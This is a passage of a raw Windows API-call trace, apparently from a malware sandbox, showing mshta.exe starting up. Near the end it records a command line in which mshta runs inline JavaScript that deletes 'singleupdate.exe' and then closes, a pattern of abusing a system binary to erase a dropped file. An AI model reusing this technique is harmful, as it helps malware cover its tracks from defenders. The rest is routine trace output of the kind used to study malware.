_RandomValue=0xcff46c | out: _RandomValue=0xcff46c) returned 0x0 [0219.436] VirtualAlloc (lpAddress=0x0, dwSize=0x20000, flAllocationType=0x3000, flProtect=0x4) returned 0xd10000 [0219.493] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x18) returned 0xfc4080 [0219.493] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x18) returned 0xfc4180 [0219.493] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x10) returned 0xfbce20 [0219.493] __dllonexit () returned 0x72e232e0 [0219.493] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x18) returned 0xfc4220 [0219.493] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x18) returned 0xfc41a0 [0219.493] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x10) returned 0xfbcd18 [0219.493] __dllonexit () returned 0x72e232f0 [0219.493] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x18) returned 0xfc4200 [0219.493] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x18) returned 0xfc3ec0 [0219.493] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x10) returned 0xfbce68 [0219.493] __dllonexit () returned 0x72e232d0 [0219.493] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x18) returned 0xfc3fc0 [0219.493] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x18) returned 0xfc3ee0 [0219.494] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x18) returned 0xfc4160 [0219.494] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x18) returned 0xfc41e0 [0219.494] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x18) returned 0xfc40a0 [0219.494] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x18) returned 0xfc4280 [0219.494] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x18) returned 0xfc4140 [0219.494] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x18) returned 0xfc4100 [0219.494] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x28) returned 0xfc25c0 [0219.494] __dllonexit () returned 0x72e23310 [0219.494] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x18) returned 0xfc41c0 [0219.494] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x18) returned 0xfc3fa0 [0219.494] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x18) returned 0xfc40c0 [0219.494] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x18) returned 0xfc4240 [0219.494] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x18) returned 0xfc4260 [0219.494] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x18) returned 0xfc3fe0 [0219.494] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x18) returned 0xfc3f00 [0219.494] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x18) returned 0xfc4000 [0219.494] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x28) returned 0xfc2560 [0219.494] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x18) returned 0xfc3f20 [0219.494] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x18) returned 0xfc40e0 [0219.494] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x18) returned 0xfc4120 [0219.494] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x18) returned 0xfc4020 [0219.494] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x18) returned 0xfc3f40 [0219.494] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x18) returned 0xfc3f60 [0219.494] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x18) returned 0xfc4040 [0219.494] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x18) returned 0xfc4060 [0219.494] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x28) returned 0xfc25f0 [0219.494] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x18) returned 0xfc48f0 [0219.494] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x18) returned 0xfc4810 [0219.494] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x18) returned 0xfc4890 [0219.494] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x18) returned 0xfc4910 [0219.494] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x18) returned 0xfc4770 [0219.494] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x18) returned 0xfc4a10 [0219.494] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x18) returned 0xfc4970 [0219.495] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x18) returned 0xfc4730 [0219.495] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x28) returned 0xfc27d0 [0219.495] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x18) returned 0xfc4a30 [0219.495] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x18) returned 0xfc48b0 [0219.495] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x18) returned 0xfc4750 [0219.495] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x18) returned 0xfc4930 [0219.495] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x18) returned 0xfc4790 [0219.495] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x18) returned 0xfc4950 [0219.495] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x18) returned 0xfc46d0 [0219.495] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x18) returned 0xfc4990 [0219.495] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x28) returned 0xfc2800 [0219.495] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x18) returned 0xfc4a50 [0219.495] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x18) returned 0xfc4710 [0219.495] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x18) returned 0xfc47b0 [0219.495] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x18) returned 0xfc4830 [0219.495] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x18) returned 0xfc49d0 [0219.495] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x18) returned 0xfc46f0 [0219.495] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x18) returned 0xfc47f0 [0219.495] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x18) returned 0xfc48d0 [0219.495] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x28) returned 0xfc2530 [0219.495] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x18) returned 0xfc47d0 [0219.495] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x18) returned 0xfc49b0 [0219.495] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x18) returned 0xfc49f0 [0219.495] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x18) returned 0xfc4850 [0219.495] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x18) returned 0xfc4870 [0219.495] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x18) returned 0xfc4a70 [0219.495] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x18) returned 0xfc4590 [0219.495] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x18) returned 0xfc4310 [0219.495] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x28) returned 0xfc26b0 [0219.495] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x18) returned 0xfc4430 [0219.495] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x18) returned 0xfc4510 [0219.495] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x18) returned 0xfc4530 [0219.495] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x18) returned 0xfc4570 [0219.495] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x18) returned 0xfc42d0 [0219.495] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x18) returned 0xfc4370 [0219.495] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x18) returned 0xfc4470 [0219.496] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x18) returned 0xfc45f0 [0219.496] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x28) returned 0xfc24a0 [0219.496] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x18) returned 0xfc4410 [0219.496] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x18) returned 0xfc45b0 [0219.496] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x18) returned 0xfc44b0 [0219.496] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x18) returned 0xfc46b0 [0219.496] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x18) returned 0xfc45d0 [0219.496] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x18) returned 0xfc4330 [0219.496] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x18) returned 0xfc4610 [0219.496] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x18) returned 0xfc4350 [0219.496] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x28) returned 0xfc27a0 [0219.496] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x28) returned 0xfc26e0 [0219.496] __dllonexit () returned 0x72e23300 [0219.496] __dllonexit () returned 0x72e23320 [0219.496] __dllonexit () returned 0x72e23330 [0219.496] __dllonexit () returned 0x72e23340 [0219.497] _CIsqrt () returned 0x4000027f [0219.497] __dllonexit () returned 0x72e23360 [0219.497] __dllonexit () returned 0x72e23370 [0219.497] __dllonexit () returned 0x72e23380 [0219.497] __dllonexit () returned 0x72e233a0 [0219.499] __dllonexit () returned 0x72e233c0 [0219.499] __dllonexit () returned 0x72e233d0 [0219.499] __dllonexit () returned 0x72e233f0 [0219.499] __dllonexit () returned 0x72e23410 [0219.499] __dllonexit () returned 0x72e23430 [0219.499] __dllonexit () returned 0x72e23440 [0219.499] RtlInitializeConditionVariable (in: ConditionVariable=0x73881618 | out: ConditionVariable=0x73881618) [0219.499] __dllonexit () returned 0x72e23450 [0219.500] __dllonexit () returned 0x72e23460 [0219.500] __dllonexit () returned 0x72e23470 [0219.500] __dllonexit () returned 0x72e23480 [0219.612] __dllonexit () returned 0x72e23490 [0219.612] __dllonexit () returned 0x72e234a0 [0219.612] __dllonexit () returned 0x72e234c0 [0219.612] __dllonexit () returned 0x72e234f0 [0219.612] __dllonexit () returned 0x72e23500 [0219.613] __dllonexit () returned 0x72e23530 [0219.613] __dllonexit () returned 0x72e23520 [0219.613] __dllonexit () returned 0x72e23510 [0219.613] __dllonexit () returned 0x72e23540 [0219.613] __dllonexit () returned 0x72e23560 [0219.613] __dllonexit () returned 0x72e23580 [0219.613] __dllonexit () returned 0x72e235c0 [0219.613] __dllonexit () returned 0x72e235a0 [0219.613] __dllonexit () returned 0x72e235b0 [0219.613] __dllonexit () returned 0x72e235d0 [0219.614] __dllonexit () returned 0x72e235f0 [0219.614] __dllonexit () returned 0x72e23610 [0219.614] __dllonexit () returned 0x72e23620 [0219.614] __dllonexit () returned 0x72e23640 [0219.614] __dllonexit () returned 0x72e23650 [0219.615] __dllonexit () returned 0x72e23660 [0219.615] __dllonexit () returned 0x72e23670 [0219.615] RtlInitializeConditionVariable (in: ConditionVariable=0x73889c9c | out: ConditionVariable=0x73889c9c) [0219.615] RtlInitializeConditionVariable (in: ConditionVariable=0x73889ca0 | out: ConditionVariable=0x73889ca0) [0219.615] __dllonexit () returned 0x72e23680 [0219.615] __dllonexit () returned 0x72e23690 [0219.615] __dllonexit () returned 0x72e236a0 [0219.615] __dllonexit () returned 0x72e236b0 [0219.616] __dllonexit () returned 0x72e236c0 [0219.616] __dllonexit () returned 0x72e236e0 [0219.616] __dllonexit () returned 0x72e236d0 [0219.734] __dllonexit () returned 0x72e236f0 [0219.734] __dllonexit () returned 0x72e23710 [0219.734] __dllonexit () returned 0x72e23720 [0219.734] RtlInitializeConditionVariable (in: ConditionVariable=0x73889f18 | out: ConditionVariable=0x73889f18) [0219.734] __dllonexit () returned 0x72e23760 [0219.734] __dllonexit () returned 0x72e23750 [0219.734] __dllonexit () returned 0x72e237d0 [0219.734] __dllonexit () returned 0x72e237f0 [0219.735] __dllonexit () returned 0x72e23810 [0219.735] __dllonexit () returned 0x72e23860 [0219.735] GetCurrentThreadId () returned 0xe0 [0219.735] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xcff410, nSize=0x104 | out: lpFilename="C:\\WINDOWS\\SysWOW64\\mshta.exe" (normalized: "c:\\windows\\syswow64\\mshta.exe")) returned 0x1d [0219.735] PathFindFileNameW (pszPath="C:\\WINDOWS\\SysWOW64\\mshta.exe") returned="mshta.exe" [0219.735] StrCmpICW (pszStr1="mshta.exe", pszStr2="IEXPLORE.EXE") returned 4 [0219.735] StrCmpICW (pszStr1="mshta.exe", pszStr2="MSFEEDSSYNC.EXE") returned 2 [0219.735] StrCmpICW (pszStr1="mshta.exe", pszStr2="SYSPREP.EXE") returned -6 [0219.735] StrCmpICW (pszStr1="mshta.exe", pszStr2="EXPLORER.EXE") returned 8 [0219.735] StrCmpICW (pszStr1="mshta.exe", pszStr2="LOADER42.EXE") returned 1 [0219.735] StrCmpICW (pszStr1="mshta.exe", pszStr2="WWAHOST.EXE") returned -10 [0219.736] StrCmpICW (pszStr1="mshta.exe", pszStr2="IEUTLAUNCH.EXE") returned 4 [0219.736] StrCmpICW (pszStr1="mshta.exe", pszStr2="TE.EXE") returned -7 [0219.736] StrCmpICW (pszStr1="mshta.exe", pszStr2="Te.ProcessHost.exe") returned -7 [0219.736] StrCmpICW (pszStr1="mshta.exe", pszStr2="FAKEVIRTUALSURFACETESTAPP.EXE") returned 7 [0219.736] StrCmpICW (pszStr1="mshta.exe", pszStr2="MSOOBE.EXE") returned -7 [0219.736] StrCmpICW (pszStr1="mshta.exe", pszStr2="NETPLWIZ.EXE") returned -1 [0219.736] StrCmpICW (pszStr1="mshta.exe", pszStr2="USERACCOUNTBROKER.EXE") returned -8 [0219.736] StrCmpICW (pszStr1="mshta.exe", pszStr2="MSHTMPAD.EXE") returned -12 [0219.736] StrCmpICW (pszStr1="mshta.exe", pszStr2="FirstLogonAnim.exe") returned 7 [0219.736] StrCmpICW (pszStr1="mshta.exe", pszStr2="RESTOREOPTIN.EXE") returned -5 [0219.736] StrStrIW (lpFirst="mshta.exe", lpSrch="DCIScanner") returned 0x0 [0219.736] StrCmpICW (pszStr1="mshta.exe", pszStr2="microsoftedge.exe") returned 10 [0219.736] StrCmpICW (pszStr1="mshta.exe", pszStr2="microsoftedgecp.exe") returned 10 [0219.736] StrCmpICW (pszStr1="mshta.exe", pszStr2="serviceworkerhost.exe") returned -6 [0219.736] StrCmpICW (pszStr1="mshta.exe", pszStr2="pickerhost.exe") returned -3 [0219.736] StrCmpICW (pszStr1="mshta.exe", pszStr2="msvsmon.exe") returned -14 [0219.736] StrCmpICW (pszStr1="mshta.exe", pszStr2="browser_broker.exe") returned 11 [0219.736] StrCmpICW (pszStr1="mshta.exe", pszStr2="jshost.exe") returned 3 [0219.736] StrCmpICW (pszStr1="mshta.exe", pszStr2="authhost.exe") returned 12 [0219.736] FindAtomW (lpString="{4653C0A4-2B2D-48DE-AB80-93910A28F900}") returned 0x0 [0219.736] AddAtomW (lpString="{4653C0A4-2B2D-48DE-AB80-93910A28F900}") returned 0xc000 [0219.737] EtwEventRegister (in: ProviderId=0xcff604, EnableCallback=0x72d76ef0, CallbackContext=0x7376d6a0, RegHandle=0x7376d6b8 | out: RegHandle=0x7376d6b8) returned 0x0 [0219.755] LdrResolveDelayLoadedAPI () returned 0x77c02340 [0219.755] EtwEventSetInformation (RegHandle=0xfc0050, InformationClass=0x1b, EventInformation=0x2, InformationLength=0x72941e1c) returned 0x0 [0219.755] LdrResolveDelayLoadedAPI () returned 0x75d50d50 [0219.756] CoCreateGuid (in: pguid=0x7387e1a4 | out: pguid=0x7387e1a4*(Data1=0x667fea54, Data2=0xcee3, Data3=0x472b, Data4=([0]=0xb8, [1]=0x24, [2]=0x6, [3]=0xf1, [4]=0xdc, [5]=0xbd, [6]=0xaa, [7]=0x0))) returned 0x0 [0219.756] RtlInitializeConditionVariable (in: ConditionVariable=0x73884378 | out: ConditionVariable=0x73884378) [0219.756] RtlInitializeConditionVariable (in: ConditionVariable=0x73884374 | out: ConditionVariable=0x73884374) [0219.756] RtlInitializeConditionVariable (in: ConditionVariable=0x73884370 | out: ConditionVariable=0x73884370) [0219.756] RtlInitializeConditionVariable (in: ConditionVariable=0x7388436c | out: ConditionVariable=0x7388436c) [0219.756] RtlInitializeConditionVariable (in: ConditionVariable=0x73884368 | out: ConditionVariable=0x73884368) [0219.756] RtlInitializeConditionVariable (in: ConditionVariable=0x73884364 | out: ConditionVariable=0x73884364) [0219.756] RtlInitializeConditionVariable (in: ConditionVariable=0x73884360 | out: ConditionVariable=0x73884360) [0219.756] RtlInitializeConditionVariable (in: ConditionVariable=0x7388435c | out: ConditionVariable=0x7388435c) [0219.756] RtlInitializeConditionVariable (in: ConditionVariable=0x73884358 | out: ConditionVariable=0x73884358) [0219.756] RtlInitializeConditionVariable (in: ConditionVariable=0x73884354 | out: ConditionVariable=0x73884354) [0219.756] RtlInitializeConditionVariable (in: ConditionVariable=0x73884350 | out: ConditionVariable=0x73884350) [0219.756] RtlInitializeConditionVariable (in: ConditionVariable=0x7388434c | out: ConditionVariable=0x7388434c) [0219.756] RtlInitializeConditionVariable (in: ConditionVariable=0x73884348 | out: ConditionVariable=0x73884348) [0219.756] RtlInitializeConditionVariable (in: ConditionVariable=0x73884344 | out: ConditionVariable=0x73884344) [0219.756] RtlInitializeConditionVariable (in: ConditionVariable=0x73884340 | out: ConditionVariable=0x73884340) [0219.756] RtlInitializeConditionVariable (in: ConditionVariable=0x7388433c | out: ConditionVariable=0x7388433c) [0219.756] RtlInitializeConditionVariable (in: ConditionVariable=0x73884398 | out: ConditionVariable=0x73884398) [0219.756] RtlInitializeConditionVariable (in: ConditionVariable=0x73884338 | out: ConditionVariable=0x73884338) [0219.756] RtlInitializeConditionVariable (in: ConditionVariable=0x73884334 | out: ConditionVariable=0x73884334) [0219.756] RtlInitializeConditionVariable (in: ConditionVariable=0x73884330 | out: ConditionVariable=0x73884330) [0219.758] LdrResolveDelayLoadedAPI () returned 0x74153140 [0219.778] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0219.804] InitOnceExecuteOnce (in: InitOnce=0x7388206c, InitFn=0x72d87fc0, Parameter=0x0, Context=0x0 | out: InitOnce=0x7388206c, Parameter=0x0, Context=0x0) returned 1 [0219.804] GetVersionExA (in: lpVersionInformation=0x73882070*(dwOSVersionInfoSize=0x9c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x73882070*(dwOSVersionInfoSize=0x9c, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x3ad7, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0219.804] InitOnceExecuteOnce (in: InitOnce=0x7388206c, InitFn=0x72d87fc0, Parameter=0x0, Context=0x0 | out: InitOnce=0x7388206c, Parameter=0x0, Context=0x0) returned 1 [0219.806] GetSystemMetrics (nIndex=68) returned 4 [0219.806] GetSystemMetrics (nIndex=69) returned 4 [0219.806] GetProfileIntA (lpAppName="windows", lpKeyName="DragDelay", nDefault=20) returned 0x14 [0219.807] GetVersionExW (in: lpVersionInformation=0xcff474*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xcff464, dwMinorVersion=0xfc4d28, dwBuildNumber=0xcff6c8, dwPlatformId=0x77c29fd0, szCSDVersion="\x4461\xf326\x4d11\x8423\xf4a0\xcf\xdd8\x75ed\x02") | out: lpVersionInformation=0xcff474*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x3ad7, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0219.807] GetUserDefaultUILanguage () returned 0x409 [0219.807] GetLocaleInfoW (in: Locale=0x409, LCType=0x58, lpLCData=0xcff568, cchData=16 | out: lpLCData="\x03") returned 16 [0219.807] GetKeyboardLayoutList (in: nBuff=32, lpList=0xcff598 | out: lpList=0xcff598) returned 1 [0219.807] GetCurrentProcessId () returned 0xfe4 [0219.807] ProcessIdToSessionId (in: dwProcessId=0xfe4, pSessionId=0xcff588 | out: pSessionId=0xcff588) returned 1 [0219.807] WTSGetActiveConsoleSessionId () returned 0x1 [0219.807] HeapCreate (flOptions=0x0, dwInitialSize=0x0, dwMaximumSize=0x0) returned 0xd50000 [0219.807] GetVersion () returned 0x3ad7000a [0219.807] GetModuleHandleW (lpModuleName="Kernel32.dll") returned 0x75e90000 [0219.808] GetProcAddress (hModule=0x75e90000, lpProcName="HeapSetInformation") returned 0x75ea5850 [0219.808] HeapSetInformation (HeapHandle=0xd50000, HeapInformationClass=0x0, HeapInformation=0xcff618, HeapInformationLength=0x4) returned 1 [0219.808] RegisterClipboardFormatA (lpszFormat="Embedded Object") returned 0xc00a [0219.808] RegisterClipboardFormatA (lpszFormat="Embed Source") returned 0xc00b [0219.808] RegisterClipboardFormatA (lpszFormat="Link Source") returned 0xc00d [0219.808] RegisterClipboardFormatA (lpszFormat="Link Source Descriptor") returned 0xc00f [0219.808] RegisterClipboardFormatA (lpszFormat="Object Descriptor") returned 0xc00e [0219.808] RtlAllocateHeap (HeapHandle=0x4d60000, Flags=0x0, Size=0x140) returned 0x4d6e4b8 [0219.808] RtlInterlockedPopEntrySList (in: ListHead=0x4d60878 | out: ListHead=0x4d60878) returned 0x0 [0219.808] RtlAllocateHeap (HeapHandle=0x4d60000, Flags=0x0, Size=0x78) returned 0x4d6e600 [0219.808] rand_s (in: _RandomValue=0xcff440 | out: _RandomValue=0xcff440) returned 0x0 [0219.809] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x202000, flProtect=0x4) returned 0x4c00000 [0219.809] VirtualAlloc (lpAddress=0x4c00000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x4c00000 [0219.840] RtlAllocateHeap (HeapHandle=0x4d60000, Flags=0x0, Size=0x2600) returned 0x4d70048 [0219.840] SystemParametersInfoW (in: uiAction=0x4a, uiParam=0x0, pvParam=0xcff618, fWinIni=0x0 | out: pvParam=0xcff618) returned 1 [0219.840] SystemParametersInfoW (in: uiAction=0x200a, uiParam=0x0, pvParam=0xcff614, fWinIni=0x0 | out: pvParam=0xcff614) returned 1 [0219.840] GetCurrentProcessId () returned 0xfe4 [0219.841] _vsnwprintf (in: _Buffer=0xcff630, _BufferCount=0x16, _Format="%s%08lX", _ArgList=0xcff61c | out: _Buffer="#MSHTML#PERF#00000FE4") returned 21 [0219.841] OpenFileMappingW (dwDesiredAccess=0x2, bInheritHandle=0, lpName="#MSHTML#PERF#00000FE4") returned 0x0 [0219.841] EtwEventRegister (in: ProviderId=0x72876fd8, EnableCallback=0x72d432c0, CallbackContext=0x73768b18, RegHandle=0x73884328 | out: RegHandle=0x73884328) returned 0x0 [0219.841] EtwEventSetInformation (RegHandle=0xfc0200, InformationClass=0x18, EventInformation=0x2, InformationLength=0x72876fc0) returned 0x0 [0219.841] EtwEventRegister (in: ProviderId=0x72876fb0, EnableCallback=0x72d432c0, CallbackContext=0x73768ae0, RegHandle=0x73884320 | out: RegHandle=0x73884320) returned 0x0 [0219.841] EtwEventRegister (in: ProviderId=0x72876fa0, EnableCallback=0x72d432c0, CallbackContext=0x73768a70, RegHandle=0x73884310 | out: RegHandle=0x73884310) returned 0x0 [0219.841] EtwEventRegister (in: ProviderId=0x72876f90, EnableCallback=0x72d432c0, CallbackContext=0x73768aa8, RegHandle=0x73884318 | out: RegHandle=0x73884318) returned 0x0 [0219.841] RegGetValueW (in: hkey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\OUTLOOK.EXE", lpValue="Path", dwFlags=0x2, pdwType=0x0, pvData=0xcff40c, pcbData=0xcff408*=0x208 | out: pdwType=0x0, pvData=0xcff40c, pcbData=0xcff408*=0x62) returned 0x0 [0219.841] GetFileVersionInfoSizeExW (in: dwFlags=0x1, lpwstrFilename="C:\\Program Files\\Microsoft Office\\Root\\Office16\\outllib.dll", lpdwHandle=0xcff404 | out: lpdwHandle=0xcff404) returned 0x0 [0219.842] GetModuleHandleW (lpModuleName=0x0) returned 0x1320000 [0219.842] GetModuleFileNameW (in: hModule=0x1320000, lpFilename=0xcff410, nSize=0x104 | out: lpFilename="C:\\WINDOWS\\SysWOW64\\mshta.exe" (normalized: "c:\\windows\\syswow64\\mshta.exe")) returned 0x1d [0219.842] PathFindFileNameW (pszPath="C:\\WINDOWS\\SysWOW64\\mshta.exe") returned="mshta.exe" [0219.842] RegGetValueW (in: hkey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Application Compatibility", lpValue="mshta.exe", dwFlags=0x18, pdwType=0x0, pvData=0xcff40c, pcbData=0xcff408*=0x4 | out: pdwType=0x0, pvData=0xcff40c, pcbData=0xcff408*=0x4) returned 0x2 [0219.843] RtlAllocateHeap (HeapHandle=0x4d60000, Flags=0x0, Size=0x128) returned 0x4d6e680 [0219.843] RtlInterlockedPopEntrySList (in: ListHead=0x4d60878 | out: ListHead=0x4d60878) returned 0x0 [0219.843] VirtualAlloc (lpAddress=0x4c08000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x4c08000 [0219.844] _itow_s (in: _Value=0, _Buffer=0xcff604, _BufferCount=0xa, _Radix=10 | out: _Buffer="0") returned 0x0 [0219.844] _itow_s (in: _Value=1, _Buffer=0xcff604, _BufferCount=0xa, _Radix=10 | out: _Buffer="1") returned 0x0 [0219.844] _itow_s (in: _Value=2, _Buffer=0xcff604, _BufferCount=0xa, _Radix=10 | out: _Buffer="2") returned 0x0 [0219.845] _itow_s (in: _Value=3, _Buffer=0xcff604, _BufferCount=0xa, _Radix=10 | out: _Buffer="3") returned 0x0 [0219.845] _itow_s (in: _Value=4, _Buffer=0xcff604, _BufferCount=0xa, _Radix=10 | out: _Buffer="4") returned 0x0 [0219.845] GetCurrentProcess () returned 0xffffffff [0219.845] GetProcessTimes (in: hProcess=0xffffffff, lpCreationTime=0xcff5a0, lpExitTime=0xcff598, lpKernelTime=0xcff598, lpUserTime=0xcff598 | out: lpCreationTime=0xcff5a0, lpExitTime=0xcff598, lpKernelTime=0xcff598, lpUserTime=0xcff598) returned 1 [0219.846] free (_Block=0xd90f30) [0219.846] free (_Block=0xd91040) [0219.846] RegCloseKey (hKey=0x136) returned 0x0 [0219.846] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0219.846] GetProcAddress (hModule=0x75e90000, lpProcName="RegisterApplicationRestart") returned 0x75eb1080 [0219.846] malloc (_Size=0x128) returned 0xd90f30 [0219.846] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xfb30ba, cbMultiByte=-1, lpWideCharStr=0xd90f30, cchWideChar=148 | out: lpWideCharStr="\"javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('singleupdate.exe');close()}catch(e){}},10);\"") returned 148 [0219.846] RegisterApplicationRestart (pwzCommandline="\"javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('singleupdate.exe');close()}catch(e){}},10);\"", dwFlags=0x0) returned 0x0 [0219.846] free (_Block=0xd90f30) [0219.847] GetProcAddress (hModule=0x726c0000, lpProcName="RunHTMLApplication") returned 0x7322a7e0 [0219.863] NtQuerySystemInformation (in: SystemInformationClass=0xa4, SystemInformation=0xcffa8c, Length=0x20, ResultLength=0x0 | out: SystemInformation=0xcffa8c, ResultLength=0x0) returned 0x0 [0219.863] GetCommandLineW () returned="mshta.exe \"javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('singleupdate.exe');close()}catch(e){}},10);\"" [0219.863] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x12c) returned 0xfc4d28 [0219.863] LdrResolveDelayLoadedAPI () returned 0x77953e50 [0219.868] OleInitialize (pvReserved=0x0) returned 0x0 [0219.919] IsWindow (hWnd=0x0) returned 0 